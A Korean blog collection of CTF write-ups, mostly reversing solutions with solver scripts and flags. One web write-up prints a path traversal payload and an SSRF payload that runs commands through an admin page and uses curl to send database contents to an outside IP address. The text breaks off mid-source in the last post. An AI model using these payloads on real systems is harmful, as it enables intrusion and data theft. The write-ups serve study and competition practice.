SSCTF 2016 : Re1

CTF/Writeup 2019. 3. 13. 16:53

안드로이드 리버싱 문제다.


앱을 실행해보면 유저명,비밀번호를 입력받아 중국어로된 문구를 띄어준다.


앱을 까서보면 인풋을 네이티브 함수의 인자로 사용하는데 해당 함수 리턴값이 True이면 된다.


ida로 jni 함수를 확인해보면 아래와 같이 상당히 복잡해보이는 코드가 나온다.


bool __fastcall getpl(const char *a1, const char *a2)

{

  int v2; // r7

  int v3; // r0

  const char *i; // r3

  int j; // r7

  int k; // r4

  int v7; // r0

  signed int v8; // r4

  int v9; // r0

  int l; // r6

  int v11; // r0

  _BOOL4 v12; // r3

  const char *v14; // [sp+0h] [bp-B90h]

  signed int v15; // [sp+0h] [bp-B90h]

  const char *v16; // [sp+4h] [bp-B8Ch]

  char v17[12]; // [sp+14h] [bp-B7Ch]

  int v18; // [sp+20h] [bp-B70h]

  int v19; // [sp+2Ch] [bp-B64h]

  int v20; // [sp+30h] [bp-B60h]

  const char *v21; // [sp+50h] [bp-B40h]

  const char *v22; // [sp+54h] [bp-B3Ch]

  const char *v23; // [sp+58h] [bp-B38h]

  const char *v24; // [sp+5Ch] [bp-B34h]

  const char *v25; // [sp+60h] [bp-B30h]

  const char *v26; // [sp+64h] [bp-B2Ch]

  const char *v27; // [sp+68h] [bp-B28h]

  const char *v28; // [sp+6Ch] [bp-B24h]

  const char *v29; // [sp+70h] [bp-B20h]

  const char *v30; // [sp+74h] [bp-B1Ch]

  const char *v31; // [sp+78h] [bp-B18h]

  const char *v32; // [sp+7Ch] [bp-B14h]

  const char *v33; // [sp+80h] [bp-B10h]

  const char *v34; // [sp+84h] [bp-B0Ch]

  const char *v35; // [sp+88h] [bp-B08h]

  const char *v36; // [sp+8Ch] [bp-B04h]

  const char *v37; // [sp+90h] [bp-B00h]

  const char *v38; // [sp+94h] [bp-AFCh]

  const char *v39; // [sp+98h] [bp-AF8h]

  const char *v40; // [sp+9Ch] [bp-AF4h]

  const char *v41; // [sp+A0h] [bp-AF0h]

  const char *v42; // [sp+A4h] [bp-AECh]

  const char *v43; // [sp+A8h] [bp-AE8h]

  const char *v44; // [sp+ACh] [bp-AE4h]

  char v45; // [sp+118h] [bp-A78h]

  int v46; // [sp+ADCh] [bp-B4h]

  int v47; // [sp+AE8h] [bp-A8h]

  int v48; // [sp+AF4h] [bp-9Ch]

  int v49; // [sp+B34h] [bp-5Ch]


  v16 = a2;

  v14 = a1;

  j_memset(&v21, 0, 200);

  v21 = "103066";

  v22 = "78yn";

  v2 = 0;

  v23 = "91";

  v24 = "jk@O";

  v25 = "w0%3";

  v26 = "okJni";

  v27 = "32tP";

  v28 = "pYn";

  v29 = "oty3e";

  v30 = "ss";

  v31 = "whw3";

  v32 = "Gh$";

  v33 = "ju3t";

  v34 = "g986";

  v35 = "rTp0";

  v36 = "J)g";

  v37 = "a";

  v38 = "pLoKm7";

  v39 = "0o7";

  v40 = "******";

  v41 = "plokm7";

  v42 = "SSCFlg2016";

  v43 = "aP$";

  v44 = "kEy";

  j_memcpy(v17, off_B309F004, 60);

  j_memset(&v48, 0, 64);

  j_memset(&v46, 0, 10);

  j_memset(&v47, 0, 10);

  j_memset(&v49, 0, 64);

  byte_B309F109 = 0;

  v3 = j_strlen(v14);

  for ( i = v14; i - v14 < v3; ++i )

  {

    if ( (unsigned int)*(unsigned __int8 *)i - 33 <= 0x5D )

      *((_BYTE *)&v47 + v2++) = *i;

  }

  for ( j = 0; *(&v21)[j] != 42; ++j )

    ;

  j_qsort(&v21, j, 4, cmp_string);

  for ( k = 0; k < j; ++k )

  {

    j_strcpy(&v45 + 50 * k, (&v21)[k]);

    v7 = j_strlen(&v45 + 50 * k);

    j_qsort(&v45 + 50 * k, v7, 1, cmp_char);

  }

  v8 = 0;

  do

  {

    while ( 1 )

    {

      j_strcpy(&v46, *(_DWORD *)&v17[4 * v8]);

      v9 = j_strlen(&v46);

      j_qsort(&v46, v9, 1, cmp_char);

      v15 = 0;

      for ( l = 0; l < j; ++l )

      {

        if ( !j_strcmp(&v45 + 50 * l, &v46) )

        {

          j_strcat(&v48, (&v21)[l]);

          v15 = 1;

        }

      }

      if ( v15 )

        break;

      switch ( v8 )

      {

        case 3:

          v8 = 4;

          j_strcat(&v48, v43);

          break;

        case 6:

          j_sprintf(&v49, "%c", 105);

          v8 = 7;

          j_strcat(&v48, &v49);

          break;

        case 11:

          v8 = 12;

          j_strcat(&v48, v20);

          break;

        default:

          goto LABEL_25;

      }

    }

LABEL_25:

    ++v8;

  }

  while ( v8 != 15 );

  j_strcat(&v48, &v47);

  j_sprintf(&v49, "%c", 125);

  j_strcat(&v48, &v49);

  j_sprintf(&v49, "%c", 123);

  j_strcat(&v49, &v48);

  j_strcat(&pl, v19);

  j_strcat(&pl, v18);

  j_strcat(&pl, &v49);

  if ( !v16 )

    return 0;

  v11 = j_strlen(v16);

  v12 = 0;

  if ( v11 == 0x27 )

    v12 = (unsigned int)j_strncmp(&pl, v16) <= 0;

  return v12;

}


근데 코드를 쭉 분석해보면 사실 인풋으로 들어온 유저명, 패스워드를 코드 내에서 전혀 사용하지 않고 있다가 마지막에 패스워드 길이 구하고 특정 값이랑 비교할때만 사용하고 있다.


즉, 저위의 복잡해보이는 코드를 분석할 필요가 없다는 거고 그냥 마지막에 strncmp에서 들어온 값만 확인해주면 된다.


디버깅을 통해 해당 값을 확인해봤고 플래그가 있었다.



FLAG = SSCTF{oty3eaP$g986iwhw32j%OJ)g0o7J.CG:}

'CTF > Writeup' 카테고리의 다른 글

Tokyo-Westerns-3rd-2017 CTF Rev Rev Rev  (0) 2019.03.15
0CTF 2016 Quals : boomshakalaka  (0) 2019.03.14
Sharif University CTF 2016 : Serial  (0) 2019.03.11
35C3 CTF 2018 COREBOT  (0) 2019.02.26
Evlz CTF 2019 Smol-Big  (0) 2019.02.20
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

해당 바이너리를 ida로 까서보면 안티 디스어셈블리가 적용되어 있어 헥스레이 및 어셈블리 정적분석을 하기가 까다로웠다.


적용되어있던 안티 디스어셈블리 방식은 아래와 같았다.



jz short near ptr loc_4009f3+2


위 명령어를 보면 4009f5 주소를 점프를 하는데 ida에서는 해당 주소부터 디스어셈블하여 명령어를 해석해 주지 않고 있었다.


이를 해결하기 위해 동적분석을 진행했고 jz short near ptr loc_4009f3+2 명령어 실행 후  4009f5 주소로 점프했을때 ida에서 data 값으로 인식된 바이트 코드를 code로 인식하도록 convert해서 정상적으로 디스어셈블 하도록 해줬다.


이런식으로 계속 안티 디스어셈블을 우회해서 동적분석 진행하다보면 시리얼 비교 루틴이 나오는데 비교 로직은 간단했다.


flag_front = "EZ9dmq4c"

flag_end = ""

for i in range(0,len(flag_front)):

    if i==4:

        flag_end += chr(0xb4-ord(flag_front[i]))

    elif i==5:

        flag_end += chr(0xaa - ord(flag_front[i]))

    else:

        flag_end += chr(0x9b-ord(flag_front[i]))


print "FLAG = " + flag_front + flag_end[::-1]


FLAG = EZ9dmq4c8g9G7bAV













'CTF > Writeup' 카테고리의 다른 글

0CTF 2016 Quals : boomshakalaka  (0) 2019.03.14
SSCTF 2016 : Re1  (0) 2019.03.13
35C3 CTF 2018 COREBOT  (0) 2019.02.26
Evlz CTF 2019 Smol-Big  (0) 2019.02.20
Codegate CTF 2019 KingMaker  (0) 2019.02.16
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

35C3 CTF 2018 COREBOT

CTF/Writeup 2019. 2. 26. 01:36

Windows 리버싱이다. 헥스레이로 코드를 보면 전체 코드자체는 간단하다.



전체 로직을 대충 설명해보면 Windows의 CryptoApi로 암호화된 값을 복호화 하고 이 때 사용하는 키를 로컬 PC의 볼륨 시리얼 값을 통해 생성한다.


암호화된 값은 sub_1261146 함수에서 특정 리소스 값을 통해 가져오는걸 사용해 주면 된다. 키 값과 같은 경우 실제 문제 서버의 시리얼 값을 알 수 없지만 실제 시리얼을 구해오는 걸 보면 2바이트 값이기 때문에 위 키 값 생성로직을 그대로 사용해서 brute  forcing이 가능하다.


CryptoApi와 같은 경우 해당 문제를 통해 처음 봤는데 구글링하면서 각 함수의 인자들이 어떤 의미인지 검색해가면서 확인했다. 이 부분에서 생각보다 애를 먹었는데 분석 결과 AES 암호화에 ECB 블록운용 방식을 사용하고 있었다.


위 코드에서 복호화된 값의 첫4바이트가 35C3인지 확인하고있기 때문에 이에 맞춰서 brute force해주는 python 코드를 짜서 돌려줬다.


from Crypto.Cipher import AES

def decrypt_AES_ecb(ciphertext,key):
cipher = AES.new(key,AES.MODE_ECB)
plaintext = cipher.decrypt(ciphertext)
return plaintext

resource = "1029B8459D2AAB93FE89FB829342A18C2E90630006118064B821C29F35E77EF2".decode("hex")


for serial in range(0x0,0xffff+1):
key = ""
for i in range(0,16):
key = chr((serial& 0xFF)) + chr((serial&0xff00)>>8) + key
serial ^= ((serial & 0xFFFF) >> 4) ^ ((serial & 0xFFFF) << 11) ^ ((serial & 0xFFFF) << 7)
flag = decrypt_AES_ecb(resource,key)
if "35c3" in flag.lower():
print "Find Flag[*] = "+flag


Find Flag[*] = 35C3_MalwareAuthorKryptoChef











'CTF > Writeup' 카테고리의 다른 글

SSCTF 2016 : Re1  (0) 2019.03.13
Sharif University CTF 2016 : Serial  (0) 2019.03.11
Evlz CTF 2019 Smol-Big  (0) 2019.02.20
Codegate CTF 2019 KingMaker  (0) 2019.02.16
Trust CTF 2019 Web Writeup  (0) 2019.02.16
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Evlz CTF 2019 Smol-Big

CTF/Writeup 2019. 2. 20. 20:37

대회 때 바이너리를 받아놓고 풀어보진 않았었는데, 풀 문제들 찾아보다 눈에보여서 풀어봤다.


먼저 바이너리를 실행해보면 입력값을 받아 1,0으로 이루어진 2진수 값으로 반환을 해준다. 이 값이 어떻게 반환되는지 보기 위해 아래 코드를 분석해봤다.



코드를 보면 0x55FF4A443080 메모리 영역에 테이블 값이 존재했는데 대충 값을 보니 아래와 같은 형태로 이루어져 있었다.


10 , 1 , 0 , 1 , 0 , 1 , 0 , 1 , 0 , 1 , 0 , 1 , 5 , 1 , 1 , 1 , 1 , 1 , 0 , 1 , 0 , 1 , 0 , 1  


이 때 입력 값으로 테이블 인덱스 값을 구해 해당 인덱스의 존재하는 값을 길이로 지정한다. 그 후 해당 길이만큼 반복문을 돌면서 그 다음 메모리에 존재하는 값들을 더해 구한 2진수 값 만들고 반환해준다.


알고리즘 분석은 다 했으니 이제 역연산을 해주면 되는데, 문제에서 바이너리와 함께 제공해준 데이터 파일을 역연산 해주면 된다.


flag_binary = "11110101011110010101111101111001110001100000001000000100101011111001110001100110100010110010111010111100101011100011000010000000001101110001100111000000011110011111000110111001001111100011001101011010111100000010011111011010110011011111000110101011100101011100011001110000000110100000001000000000001001101011000001100001001111110001100111110001011100000001101110010011111000110000100111110110100111000110011010001011111000110011111000000101010010011110001011110100111000110000110111110111100100000101111001010111000110000000110000110101100000110100000001101001010111000000110111000110010101001101110001100001011111100000001001001011110010101111101110001100111110001101110001100110100010110010111010111100101011111011100011001111001110000000100111110000111000000011100011001110000000001011100000111011110101111000000011100101111110001100110111001101110001100111110110000000001111001110001100111000000011010011100011001111000000011000000000111100111000110011011011111011000000000111000000011110011100100111110001100111110110110001011101110011101000001101011111000000111110010000110010101110010001001000010000000111000000111000011100000110000011101001001110000011100111111000000111100000011101001110000011101101110000001110010101110000011000010111001000111100000000010111111010001100001011101000011101011001101011011100011001110111101010000000100111000110011000001011001000011011001010101011101001110001100111110010100111110110010101101011000000011011100000000011000000010111100001110001100101010010111001011111100000001111001101011010111110001100001011111100000001001001011110010100000000100111000110011000000000001000000011100011001010100110111000110011100000000010111000001110111101010000010000111000110011111001010011100011001111101110000000111000110011010110101111110011110001011110100010111110001100110101101011110000001001111101110111101011110000000001101110010111111000110011111110101000000010011100011001110000000101010011011111011100011000000011001010101011100101011111011100011001101000101100101110101111001010111000110000000110000111000110011001010111110100001100101011111000001011111011000011010011111011001010000000011011100011000000011000011100011001101100101100101111010110000001101110000000001101111101110001100110110111110001011100000001101110001100111110001000010011111011100011001101011000000010111001011110101111100111000110011010001011001011101011110010101111101110001100111110101011110001100101101010110011100000111000000000110111000110011000010101001011100101111110000000111000110010000111000000011001010000001110000000001101010111001010"

table = "10,1,1,1,0,0,0,1,1,0,0,0,10,1,1,1,0,0,0,1,1,1,0,0,10,1,1,1,0,0,0,0,1,0,0,0,10,1,1,1,0,0,0,1,1,1,1,0,10,1,1,1,0,1,0,0,1,1,1,0,10,1,1,1,0,0,0,0,1,0,1,0,10,1,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,10,1,1,1,0,0,1,1,0,0,0,0,10,1,1,1,0,0,1,0,0,0,0,0,10,1,1,1,0,0,0,0,1,1,1,0,10,1,1,1,0,1,0,0,0,1,0,0,10,1,1,1,0,0,1,0,0,1,1,0,10,1,1,1,0,0,1,0,1,0,1,0,10,1,1,1,0,0,1,0,1,1,1,0,10,1,1,0,0,1,0,0,0,1,1,0,10,1,1,1,0,0,0,0,0,0,1,0,10,1,1,1,0,0,1,1,0,0,1,0,10,1,1,1,0,1,0,0,1,1,0,0,10,1,1,1,0,0,1,0,0,0,1,0,10,1,1,1,0,0,0,0,1,1,0,0,10,1,1,1,0,1,0,0,1,0,0,0,10,1,1,1,0,1,0,0,1,0,1,0,10,1,1,1,0,1,0,0,0,1,1,0,10,1,1,1,0,0,1,0,0,1,0,0,10,1,1,1,0,1,0,1,1,1,0,0,10,1,1,1,0,1,0,1,1,1,1,0,10,1,1,1,0,1,0,1,1,0,0,0,10,1,1,1,0,1,0,1,1,0,1,0,10,1,1,1,0,1,0,1,0,1,0,0,10,1,1,1,0,0,0,1,0,0,0,0,10,1,1,1,0,0,0,0,0,1,0,0,10,1,1,1,0,1,0,1,0,0,1,0,5,1,0,0,0,1,0,0,0,0,0,0,7,1,1,0,1,0,1,0,0,0,0,0,6,1,1,0,0,1,1,0,0,0,0,0,6,1,1,1,1,1,1,0,0,0,0,0,5,1,0,1,1,1,0,0,0,0,0,0,6,1,0,0,1,1,0,0,0,0,0,0,6,0,0,0,0,1,1,0,0,0,0,0,5,0,0,0,1,0,0,0,0,0,0,0,5,0,1,1,0,1,0,0,0,0,0,0,9,1,1,1,0,0,1,1,0,1,0,0,7,0,0,1,0,1,1,0,0,0,0,0,6,1,1,1,1,0,1,0,0,0,0,0,6,1,1,0,0,0,1,0,0,0,0,0,5,0,1,0,0,1,0,0,0,0,0,0,5,0,1,1,1,1,0,0,0,0,0,0,7,1,1,1,0,1,1,0,0,0,0,0,8,1,1,0,0,1,0,0,1,0,0,0,5,0,0,0,1,1,0,0,0,0,0,0,5,0,0,1,1,1,0,0,0,0,0,0,5,1,0,1,0,0,0,0,0,0,0,0,6,1,1,0,1,1,1,0,0,0,0,0,7,0,1,1,1,0,1,1,0,0,0,0,6,0,1,0,0,0,1,0,0,0,0,0,8,1,1,1,0,0,1,1,1,0,0,0,6,0,1,0,1,0,1,0,0,0,0,0,10,1,1,1,0,0,1,0,1,1,0,0,6,0,1,0,0,0,0,0,0,0,0,0,10,1,1,1,0,1,0,1,0,1,1,0,10,1,1,1,0,0,0,1,0,0,1,0,9,1,1,0,0,1,0,0,0,0,0,0,10,1,1,1,0,0,0,0,0,1,1,0,10,1,1,1,0,1,0,1,0,0,0,0,10,1,1,1,0,0,0,0,0,0,0,0,5,1,0,0,1,0,0,0,0,0,0,0,7,1,1,0,1,0,1,1,0,0,0,0,6,1,1,0,1,0,0,0,0,0,0,0,6,1,1,1,1,1,0,0,0,0,0,0,5,1,0,1,1,0,0,0,0,0,0,0,6,1,0,0,1,1,1,0,0,0,0,0,6,0,0,0,0,1,0,0,0,0,0,0,5,0,0,0,0,0,0,0,0,0,0,0,5,0,1,1,0,0,0,0,0,0,0,0,9,1,1,1,0,0,0,1,0,1,0,0,7,0,0,1,0,1,1,1,0,0,0,0,6,1,1,1,1,0,0,0,0,0,0,0,6,1,1,0,0,0,0,0,0,0,0,0,5,0,1,0,1,1,0,0,0,0,0,0,5,1,0,0,0,0,0,0,0,0,0,0,7,1,1,1,0,1,1,1,0,0,0,0,8,1,1,0,0,1,0,1,0,0,0,0,5,0,0,1,0,0,0,0,0,0,0,0,5,0,0,1,1,0,0,0,0,0,0,0,5,1,0,1,0,1,0,0,0,0,0,0,6,1,1,0,1,1,0,0,0,0,0,0,7,0,1,1,1,0,1,0,0,0,0,0,6,0,1,0,1,0,0,0,0,0,0,0,8,1,1,0,0,1,0,1,1,0,0,0,6,0,1,1,1,0,0,0,0,0,0,0,10,1,1,1,0,1,0,0,0,0,0,0,6,0,0,1,0,1,0,0,0,0,0,0,10,1,1,1,0,1,0,0,0,0,1,0"

table = table.split(',')

count = 1

binary = ""

binary_table = []



for i in range(0,len(table)):

    if i%12==0:

        tmp = int(table[i],10)

    elif i%12==11:

        binary_table.append(binary[0:tmp])

        binary = ""

        count += 1

    else:

        binary += table[i]


def flagSearch(flag_binary):

    for i in range(5,11):

        result = findString(flag_binary[0:i])

        if result!="not found":

            return [result,i]


def findString(data):

    for i in range(0,len(binary_table)):

        if data==binary_table[i]:

            return chr(i+32)

    return "not found"


flag = ""

for i in range(0,600):

    result = flagSearch(flag_binary)

    flag += result[0]

    flag_binary = flag_binary[result[1]:]

print flag


해당 코드를 돌려주면 아래와 같은 문장이 나오고 해당 문장 안에 플래그가 들어있었다.


Result

Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, evlz{c0mpr3ssi0n_i5_g00d_f0r_h3al7h}ctf quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur


Flag = evlz{c0mpr3ssi0n_i5_g00d_f0r_h3al7h}ctf




'CTF > Writeup' 카테고리의 다른 글

Sharif University CTF 2016 : Serial  (0) 2019.03.11
35C3 CTF 2018 COREBOT  (0) 2019.02.26
Codegate CTF 2019 KingMaker  (0) 2019.02.16
Trust CTF 2019 Web Writeup  (0) 2019.02.16
Evlz CTF 2019 FindMe  (0) 2019.02.06
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Codegate CTF 2019 KingMaker

2019. 2. 16. 16:18

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

Archiver


문제에서 소스코드를 제공해 준다.


코드를 쭉 분석해보면 파일 다운로드 취약점이 터지는 부분이 보인다.


def viewArchive():

    url    = request.form['url']

    T      = request.form['T']

    hashed = util.hashing(url)


    fd = open('%s/%s/%s' % (app.config['path'], hashed, str(T)), 'r')

    data = unicode(fd.read())

    fd.close()

    return render_template('view.html', data=data)


T 파라미터에 ../로 상위 경로 파일을 읽어주면 된다.


url=http%3A%2F%2Fwww.naver.com&T=../../../flag&btn=Save


Flag = TRUST{Easy_Local_file_traversal_N3xt_t1me_i_1l_us3_DB..:(}



JJcode


문제에 들어가서 페이지 돌아다니다보면 css파일을 다운로드할때 파일 다운로드 취약점이 터진다. 이걸로 전체 소스를 쭉 가져와서 보면 util.php 라는 파일에서 취약점이 보인다.


util.php


<?php

    function checkLogin_(){

        if(isset($_SESSION["username"])){

            return 1;

        }else{

            return 0;

        }

    }


    function checkLogin(){

        if(!checkLogin_()){

            die("Plz login");

        }

    }


    function hashing($data){

        return hash("sha256", "myst4rt_S4lt".$data."y0ur_3nd_sa1t");

    }


    function render($data){

        $data = preg_replace('/</i', '&lt;', $data);

        $data = preg_replace('/>/i', '&gt;', $data);

        $data = preg_replace('/\"/i', '&quot;', $data);

        $data = preg_replace('/javascript/i', '', $data);


        $data = preg_replace('/\[bold\](.*)\[\/bold\]/i', '<b>${1}</b>', $data);

        $data = preg_replace('/\[italic\](.*)\[\/italic\]/i', '<i>${1}</i>', $data);

        $data = preg_replace('/\[under\](.*)\[\/under\]/i', '<u>${1}</u>', $data);

        $data = preg_replace('/\[delete\](.*)\[\/delete\]/i', '<s>${1}</s>', $data);

        $data = preg_replace('/\[quote\](.*)\[\/quote\]/i', '<blockquote><p>${1}</p></blockquote>', $data);

        $data = preg_replace('/\[img\](.*)\[\/img\]/i', '<img src="${1}">', $data);


        $data = preg_replace('/\[youtube\](https?:\/\/www.youtube.com\/embed\/.*)\[\/youtube\]/i', '<iframe width="560" height="315" src="${1}" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>', $data);


        $data = preg_replace('/\[enter\]/i', '<br>', $data);


        $data = preg_replace('/\[color=(\w{0,4})\](.*)\[\/color\]/i', '<span style="color:${1};">${2}</span>', $data);

        $data = preg_replace('/\[size=(\d{0,4})\](.*)\[\/size\]/i', '<span style="font-size:${1}px;">${2}</span>', $data);


        preg_match_all('/\[link\](https?:\/\/[^\[\]]*)\[\/link\]/', $data, $res);

        

        for($i = 0; $i < count($res[0]); $i++){

            $replace = $res[0][$i];

    $url = $res[1][$i];

    $curl = curl_init();

    

    curl_setopt($curl, CURLOPT_URL, $url);

            curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);

            curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);

            curl_setopt($curl, CURLOPT_HEADER, 0);

            curl_setopt($curl, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);

    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);

    

    $html = curl_exec($curl);


    if(curl_error($curl))

                $html = '';

    

    curl_close($curl);


            $desc = preg_match('/<meta property="og:description" content="(.*)"\/?>/i', $html, $match) ? $match[1] : $url;


            $title = preg_match('/\<title\>([^<>]*)<\/title\>/i', $html, $match) ? $match[1] : $url;

            if($title == $url){

                preg_match('/https?:\/\/(www|).([^.]*).*/i', $url, $title);

                $title = $title[2];

            }


            $img = preg_match('/<meta property="og:image" content="(.*)"\/?>/i', $html, $match) ? $match[1] : 'https://vignette.wikia.nocookie.net/ecole-oraliste-eslvocabulary/images/a/a1/None_flowers.jpg/revision/latest?cb=20150321170046';

            

            $curl = curl_init();

            curl_setopt($curl, CURLOPT_URL, $img);

            curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);

            curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);

            curl_setopt($curl, CURLOPT_HEADER, 0);

            curl_setopt($curl, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);

            curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);

            $img_data = base64_encode(curl_exec($curl));

            if(curl_error($curl))

                $img_data = '';

            

            curl_close($curl);

            

            $tag = "<div class=\"box\" onclick=\"window.open('${url}')\"><div class=\"content\"><img style=\"float:left;\" src=\"data:image/png;base64, ${img_data}\"><div class=\"text\"><h2>${title}</h2><span style=\"font-size:14px\">${desc}</span></div></div></div>";


            $data = str_replace($replace, $tag,$data);

        }

        return $data;

    }

?>


해당 파일의 render 함수는 내가 작성한 게시글을 읽을 때 게시글 내용을 인자로 받아 호출되는데 해당 함수 내에서 아래 코드의 url 부분에 게시글 내용을 삽입시킬 수 있어 ssrf가 터진다.

preg_match_all('/\[link\](https?:\/\/[^\[\]]*)\[\/link\]/', $data, $res);

      

for($i = 0; $i < count($res[0]); $i++){

            $replace = $res[0][$i];

    $url = $res[1][$i];

    $curl = curl_init();


curl_setopt($curl, CURLOPT_URL, $url);

curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);


이걸로 뭘 할수 있는지 이제 생각해보면 되는데 게싱으로 admin.php 페이지를 발견했고 해당 페이지 코드는 아래와 같았다.


admin.php


<?php

    if(in_array($_SERVER['REMOTE_ADDR'], array('127.0.0.1', '::1'))){

        system($_GET['cmd']);

    }

?>


이제 ssrf로 admin.php 페이지를 요청해서 system함수를 사용해주면 된다.


명령어 실행결과를 nc로 받아주면되고 플래그가 DB에 있어서 디비에서 뽑아주면 된다.


Payload

[link]http://127.0.0.1/admin.php?cmd=curl%20http://125.180.217.107:9090%20-d%20%22a=`php%20-r%20%22var_dump(mysqli_fetch_assoc(mysqli_query(mysqli_connect('localhost','jjcode','jjcode1234','jjcode'),'select%20*%20from%20fl4g_here_hahahaha.fl4g_b0x_box')));%22`%22[/link]


Flag = flag{hel1o_fl4g_y0u_g3t_1t~XD}




'CTF > Writeup' 카테고리의 다른 글

Evlz CTF 2019 Smol-Big  (0) 2019.02.20
Codegate CTF 2019 KingMaker  (0) 2019.02.16
Evlz CTF 2019 FindMe  (0) 2019.02.06
Evlz CTF 2019 WeTheUsers  (0) 2019.02.04
NCSC CTF 2019 Web Wrietup  (0) 2019.02.04
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Evlz CTF 2019 FindMe

CTF/Writeup 2019. 2. 6. 11:58

바이너리를 실행해보면 키 값을 입력받아 총 3개의 함수를 거쳐 여러가지 연산을 한다. 



먼저 첫번째 함수를 보면 다음과 같이 알파벳들에 대해 간단한 rotate 연산을 한다.



두번째 함수와 세번째 함수와 같은 경우 코드가 복잡해서 디버깅을 통해 리턴값을 확인해보니 두번째 함수는 몇몇 특수문자들에 대한 URL Encoding을 하고있었고, 세번째 함수는 base64 인코딩을 하고 있었다.


위 세 함수를 거친 값을 dWdnYyUzQSUyRiUyRnJpeW0lN0JoZXlfZnJyemZfZWJnZ3JhX2p2Z3VfNjQlN0RwZ3MucGJ6 요놈과 비교해주기 때문에 간단히 역연산 해주는 코드를 아래와 같이 짜서 돌려줬다.


import urllib2

result = "dWdnYyUzQSUyRiUyRnJpeW0lN0JoZXlfZnJyemZfZWJnZ3JhX2p2Z3VfNjQlN0RwZ3MucGJ6".decode("base64")

result = urllib2.unquote(result).decode('utf8')

dec = ""

for i in range(0,len(result)):

    if ord(result[i])>64 and ord(result[i])<=90:

        dec += chr((ord(result[i])-52)%26+65)

    elif ord(result[i])>96 and ord(result[i])<=122:

        dec += chr((ord(result[i]) - 84) % 26 + 97)

    else:

        dec += result[i]

print dec


Flag = http://evlz{url_seems_rotten_with_64}ctf.com

'CTF > Writeup' 카테고리의 다른 글

Codegate CTF 2019 KingMaker  (0) 2019.02.16
Trust CTF 2019 Web Writeup  (0) 2019.02.16
Evlz CTF 2019 WeTheUsers  (0) 2019.02.04
NCSC CTF 2019 Web Wrietup  (0) 2019.02.04
Codegate CTF 2019 Preliminary Rich Project  (0) 2019.01.27
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

기본적으로 소스코드를 제공해준다.


  1. """
  2.     Web App with file based ACL.
  3. """
  4.  
  5. import os
  6. import struct
  7.  
  8. from flask import Flask, request, render_template, abort, flash, redirect, url_for
  9.  
  10. """
  11.     Flask Config
  12. """
  13. app = Flask(__name__)
  14. app = Flask(__name__)
  15. app.config['DEBUG'] = False
  16. app.secret_key = ""
  17.  
  18. FLAG = '??'
  19.  
  20. class ACL(object):
  21.     """
  22.     Intent:
  23.         ACL for the Application
  24.  
  25.     Responsibilities:
  26.         - Add New Records to ACL
  27.         - Verify existing records in ACL
  28.  
  29.     Data Structures
  30.         - record
  31.           {
  32.               'username': <str>username[100],
  33.               'password': <str>password[100],
  34.               'admin': <str:`true/false`>admin
  35.           }
  36.     """
  37.  
  38.     DEFAULT_ACL_FILE = 'acl.data'
  39.  
  40.     def __init__(self, *args, **kwargs):
  41.         """
  42.         ACL(, [file_name, ])
  43.         :param str file_name kwarg
  44.         """
  45.         self.acl_file = kwargs.get('acl_file', self.DEFAULT_ACL_FILE)
  46.         self.acl_lines = self._read_acl_file()
  47.  
  48.     """
  49.         Writing Methods
  50.     """
  51.     @staticmethod
  52.     def _pack_data(data_dict):
  53.         """
  54.             Pack data with data_structure.
  55.         """
  56.         return '{}:{}:{}'.format(
  57.                                     data_dict['username'],
  58.                                     data_dict['password'],
  59.                                     data_dict['admin']
  60.                                 )
  61.  
  62.     @staticmethod
  63.     def _append_data(filename, data):
  64.         """
  65.             write `data` to filename as binary data.
  66.         """
  67.         with open(filename, 'a') as f:
  68.             f.write(data)
  69.             f.write('\n') # New Line Delimiter
  70.  
  71.     def _append_record(self, data_dict, *args, **kwargs):
  72.         """
  73.             Pack data and append to file.
  74.         """
  75.         bin_data = self._pack_data(data_dict)
  76.  
  77.         self._append_data(self.acl_file, bin_data)
  78.  
  79.     def add_record(self, username, password, admin, *args, **kwargs):
  80.         """
  81.             Add record to ACL.
  82.             - Client Facing
  83.         """
  84.         record = {
  85.             'username': username,
  86.             'password': password,
  87.             'admin': admin
  88.         }
  89.  
  90.         self._append_record(data_dict=record)
  91.  
  92.         return record
  93.  
  94.     def _read_acl_file(self):
  95.         """
  96.             Read all the lines in `self.acl_file`
  97.         """
  98.         if not os.path.exists(self.acl_file):
  99.             return None
  100.  
  101.         with open(self.acl_file, 'r') as f:
  102.             lines = f.readlines()
  103.  
  104.         return lines
  105.  
  106.  
  107.     def _unpack_data(self, buffer):
  108.         """
  109.             Unpack the buffer and extract contents.
  110.         """
  111.         unpacked_data = buffer.strip()
  112.         unpacked_data = unpacked_data.split(':')
  113.  
  114.         record = {
  115.             'username': unpacked_data[0],
  116.             'password': unpacked_data[1],
  117.             'admin': unpacked_data[2],
  118.         }
  119.         return record
  120.  
  121.  
  122.     def verify(self, username, password):
  123.         """
  124.             Verify if username and password exist in ACL.
  125.             - Client Facing
  126.         """
  127.         for line in self.acl_lines:
  128.             try:
  129.                 data = self._unpack_data(line)
  130.             except:
  131.                 continue
  132.  
  133.             if username == data['username'] and password == data['password']:
  134.                 return True, data
  135.  
  136.         return False
  137.  
  138.  
  139. acl = ACL()
  140.  
  141. @app.route('/', methods=['GET', 'POST'])
  142. def index():
  143.     if request.method == 'GET':
  144.         return render_template('index.html', admin=False, flag=FLAG)
